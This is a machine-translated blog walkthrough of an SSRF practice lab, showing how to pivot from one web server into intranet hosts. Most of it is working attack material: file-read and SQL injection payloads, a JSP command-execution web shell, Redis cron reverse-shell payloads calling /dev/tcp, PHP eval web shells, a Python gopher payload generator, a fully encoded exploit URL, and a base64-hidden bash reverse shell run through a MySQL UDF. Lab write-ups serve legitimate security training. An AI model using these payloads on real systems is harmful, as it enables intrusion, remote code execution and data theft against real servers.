Remember to penetrate the SSRF shooting range to the intranet once

Table of contents

0x0Preface

0x01 Judge SSRF and obtain information

0x01 172.1720.1/24 - SSRF probe internal network port

0x02 172.172.0.50 code injection

0x03 172.172.0.59Sql injection

0x04 172.172.0.25 uploadfile

0x05 172.172.0.42 tomcat-CVE-2017-12615

0x05 172.172.0.2 Redis is not authorized

0x06 172.172.0.15 Authorize redis

0x07 172.172.0.18 Unauthorized Mysql

0x08 reference


 

0x0Preface

The range network topology is as follows

The Web port 80 of this server 172.172.0.10 has an SSRF vulnerability, and port 80 is mapped to the public network. At this time, the attacker can use the SSRF vulnerability to launch detection and attack on the 172 target intranet through the public network.

Most of the source code is adopted from the project of Master Guoguang, and the contents of one or two target drones have been modified.

GitHub - sqlsec/ssrf-vuls: Guoguang’s step-by-step guide to using SSRF to penetrate the intranet shooting range source code

If you want a shooting range, you can contact me ( I’m so bad at shooting, no one may want it )

0x01 Judge SSRF and obtain information

Most of the reasons for the formation of SSRF are that the server provides the function of obtaining data from other server applications, and does not filter or restrict the target address. For example, obtain the text content of a web page from a specified URL address, load images, documents from a specified address, etc.
The following function point is to obtain a website snapshot

The normal business situation is to request the website and then respond with the content, but if the filtering is not done well, you can use other protocols and cooperate with the file protocol to read local file information. First try to use the file protocol to read the /etc/passwd file and give it a try:

file:///etc/passwd

Then for Linux, you can get the IP of the current host by reading /etc/hosts

file:///etc/hosts

The current host IP is 172.172.0.10. If you have high permissions, you can also try to read /proc/net/arp or /etc/network/interfaces to determine the network situation of the current machine.

0x01 172.1720.1/24 - SSRF probe internal network port

SSRF often cooperates with the DICT protocol to detect open intranet ports, but not all ports can be detected. Generally, only some ports with TCP echo can be detected. The burp blasting module selects the IP c segment and
port, and then selects Cluster as the attack mode. bomb

The first position selects 1 to 255, which is a c segment.

The second is the port to be detected

Obtained port open information

Through blasting, you can get the open status of the port (there may be more open, God's perspective lists the ones that can be opened):

172.172.0.15 6379
172.172.0.2 6379 
172.172.0.18 3306
172.172.0.59 80,3306
172.172.0.25 80
172.172.0.50 80
172.172.0.10 80

0x02 172.172.0.50 code injection

First request through ssrf and find a home page showing Hello CodeExec

Run an SSRF directory scan on this

Then add the directory dictionary

You can see from the length that there are phpinfo.php and shell.php:

Visit shell.php and execute a simple command

Directly use the HTTP protocol of SSRF to initiate a GET request, and directly pass the command value to the cmd parameter to execute the command directly:

Check the hosts file of this station

0x03 172.172.0.59Sql injection

Request page discovery is a query function point

By looking at the html form, you can find that the parameter passed to the current file through get is username.

Inquire about admin

I added a single quote and found an error.

If there is an error report, we directly construct the error report and inject the payload.

172.172.0.59?username=admin'-updatexml(1,concat(0x7e,user()),1)-'

use sqlmap

sqlmap -u "http://10.68.1.51/" --data "url="  --prefix "172.172.0.59?username=admin'" --dbms mysql -p url --tech E -v 3 --level 3 --tamper space2comment   -D "user" --dump

Successfully ran out of injection

0x04 172.172.0.25 uploadfile

Found it to be a feature for uploading avatars

View the form and you can see that it is uploaded to the current file. The file name is file.

The upload is through POST. We cannot use the SSRF vulnerability to transmit POST data through the HTTP protocol. In this case, we generally have to use the gopher protocol to initiate a POST request to the intranet application. The basic request format of gopher is as follows:

gopher://IP:port/_{TCP/IP数据流}

The gopher protocol is an ancient and powerful protocol. It can be seen from the request format that it can transmit the bottom TCP data stream. Because the HTTP protocol also belongs to the TCP data layer, it is easy to transmit HTTP POST requests through the gopher protocol.
First, capture the data packet of the POST request under normal circumstances. If you delete the line of the HTTP request, if you do not delete it, the SSRF request will be garbled because it is encoded by gzip twice.

Accept-Encoding: gzip, deflate

Then perform URL encoding on this POST packet twice in Burpsuite:

The data after two URL encodings is the final TCP data stream. The final POST packet of the complete SSRF attack request is as follows:

gopher://172.172.0.25:80/_{url编码两次的数据包}

uploaded successfully

Request php file successfully

0x05 172.172.0.42 tomcat-CVE-2017-12615

It’s the same as above, except that the package sent is put, prepare a jsp sentence

<%
    String command = request.getParameter("cmd");
    if(command != null)
    {
        java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("</pre>");
    } else {
        out.print("format: xxx.jsp?cmd=Command");
    }
%>

Prepare the attack data packet and encode the POST request twice.

Initiate this POST request through SSRF

Then initiate an HTTP request to mo60.jsp through SSRF, and successfully execute the id command:

0x05 172.172.0.2 Redis is not authorized

The system does not have a Web service (the Shell cannot be written), and there is no SSH public and private key authentication (the public key cannot be written), so the only way to attack here is to use scheduled tasks. The main commands of conventional attack ideas are as follows:

# 清空 key
flushall
 
# 设置要操作的路径为定时任务目录
config set dir /var/spool/cron/
 
# 设置定时任务角色为 root
config set dbfilename root
 
# 设置定时任务内容
set x "\n* * * * * /bin/bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\n"
 
# 保存操作
save

Without authorization, you can use the dict or gopher protocol to attack, because the structure of the gopher protocol is cumbersome, so use the DICT protocol to attack

dict://x.x.x.x:6379/<Redis 命令>

Info command successfully executed

Use the dict protocol to create a scheduled task to rebound the Shell:

# 清空 key
dict://172.172.0.2:6379/flushall
 
# 设置要操作的路径为定时任务目录
dict://172.172.0.2:6379/config set dir /var/spool/cron/
 
# 在定时任务目录下创建 root 的定时任务文件
dict://172.172.0.2:6379/config set dbfilename root
 
# 写入 Bash 反弹 shell 的 payload
dict://172.172.0.2:6379/set x "\n* * * * * /bin/bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\n"
 
# 保存上述操作
dict://172.172.0.2:6379/save

Successfully bounced back to shell

0x06 172.172.0.15 Authorize redis

With password verification, commands cannot be executed directly without authorization:

In addition to port 6379, port 80 is also opened, which is a classic LFI local file inclusion. You can use this to read local file contents:

Because the Redis password is recorded in the redis.conf configuration file, combined with the fact that this file contains vulnerabilities, then try to read the redis configuration file information by using the file contains vulnerabilities. The common paths of Redis configuration files are as follows, and some have passed other Methods to get the password, such as Spring boot heapdump

/etc/redis.conf
/etc/redis/redis.conf
/usr/local/redis/etc/redis.conf
/opt/redis/ect/redis.conf

Successfully read the /etc/redis.conf configuration file and directly search for the requirepass keyword to locate the password:

If you have a password, you can use dicty to verify whether it is correct, but because dict does not support multi-line commands, the parameters after authentication cannot be executed.

dict://172.172.0.15:6379/auth P@ssw0rd

Because the gopher protocol needs native data packets, we need to capture the Redis request data packets, install Redis locally, start Redis-server as root, use socat for port forwarding and capture the communication between Redis-cli and Redis-server data.

socat -v tcp-listen:5201,fork tcp-connect:localhost:6379    #端口转发并抓取数据

At this time, use redis-cli to connect to the local port 5201:

redis-cli -h 127.0.0.1 -p 5201

The server will then accept and forward the traffic on port 5201 to port 6379 of the server, and then write the shell to the website directory after authentication:

# 认证 redis
127.0.0.1:5201> auth P@ssw0rd
OK
# 清空 key
127.0.0.1:5201> flushall
 
# 设置要操作的路径为网站根目录
127.0.0.1:5201> config set dir /var/www/html
 
# 在网站目录下创建 shell.php 文件
127.0.0.1:5201> config set dbfilename shell.php
 
# 设置 shell.php 的内容
127.0.0.1:5201> set x "\n<?php eval($_GET[1]);?>\n"
 
# 保存上述操作
127.0.0.1:5201> save

At the same time, we can also see the detailed data packet situation. Let’s record the key traffic situation:
Next, we sort out the key request data packets as follows:

*2\r
$4\r
auth\r
$8\r
P@ssw0rd\r
*1\r
$8\r
flushall\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*3\r
$3\r
set\r
$1\r
x\r
$25\r
 
 
<?php eval($_GET[1]);?>
 
 
\r
*1\r
$4\r
save\r

You can see that each line ends with r, but the Redis protocol ends with CRLF (rn), so you need to convert r to rn when converting, here is the python script written by Master Qiyou

import urllib.parse

protocol = "gopher://"
ip = "127.0.0.1"
port = "6788"
shell = "\n\n<?php phpinfo();?>\n\n"
filename = "mo60.php"
path = "/var/www/html"
passwd = "P@ssw0rd"
cmd = ["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),  
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save",
     "quit"
    ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
    cmd += CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))

    # print(payload)
    print(urllib.parse.quote(payload))
 

Send return ok

The data sent is as follows

url=gopher://172.172.0.15:6379/_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25248%250D%250AP%2540ssw0rd%250D%250A%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252422%250D%250A%250A%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25248%250D%250Amo60.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A

try to access, success

You can also rebound the shell through scheduled tasks

successfully received

0x07 172.172.0.18 Unauthorized Mysql

When MySQL requires password authentication, the server first sends the salt and then the client encrypts the password with the salt and then verifies it; but when password authentication is not required, just send the TCP/IP packet directly. So in this case, you can directly use the SSRF vulnerability to attack MySQL. Because attacking using the gopher protocol requires the original TCP packet requested by MySQL, it is still the same as attacking the Redis application. Here we use tcpdump to listen and capture the original packet of 3306 authentication:

# lo 回环接口网卡 -w 报错 pcapng 数据包
tcpdump -i lo port 3306 -w mysql.pcapng

Then use MySQL locally to execute some test commands:

[root@localhost]# mysql -uroot -h127.0.0.1 -e "select * from flag.test";
+----+----------------------------------------+
| id | flag                                   |
+----+----------------------------------------+
|  1 | flag{71a5d5e6b2b9a3da3dc0a85851d50316} |
+----+----------------------------------------+

Wireshark opens the mysql.pcapng packet, tracks the TCP flow, then filters the data sent to 3306, then filters out the data packets sent by the client to the MySQL server, and adjusts the display format to the original data:

Then use the following Python3 script to convert the data into url encoding:

import sys

def results(s):
    a=[s[i:i+2] for i in range(0,len(s),2)]
    return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)

s="3c00000185a20f0000000001210000000000000000000000000000000000000000000000726f6f7400006d7973716c5f6e61746976655f70617373776f726400210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031180000000373656c656374202a2066726f6d20666c61672e746573740100000001"

print(results(s))

If you put it into the BP request, remember that you need to encode the URL twice, and you can successfully query the flag

use script

GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
to generate exploits that view the plugin directory

show variables like '%plugin%'

If you put it into the BP request, remember that you need to encode the URL twice, you can directly get the plugin directory of MySQL: /usr/lib/mysql/plugin/

Using Master Guoguang’s website MySQL UDF to elevate hexadecimal query | Guoguang

Then use the script to generate the payload of the above statement and write it into the udf file. I have not completed the operation here using the script. After using the original data monitored by tcpdump, convert the gopher protocol and request for BP secondary encoding.

Create custom function

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

Finally, the shell pops up by creating a custom function and executing a system command. The native command is as follows:

select sys_eval('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xNjYvNTU1NSAwPiYx|base64 -d|bash -i');

0x08 reference

https://www.cnblogs.com/aninock/p/15663953.html
https://www.sqlsec.com/2021/05/ssrf.html

Je suppose que tu aimes

Origine blog.csdn.net/weixin_57099902/article/details/132765080
conseillé
Classement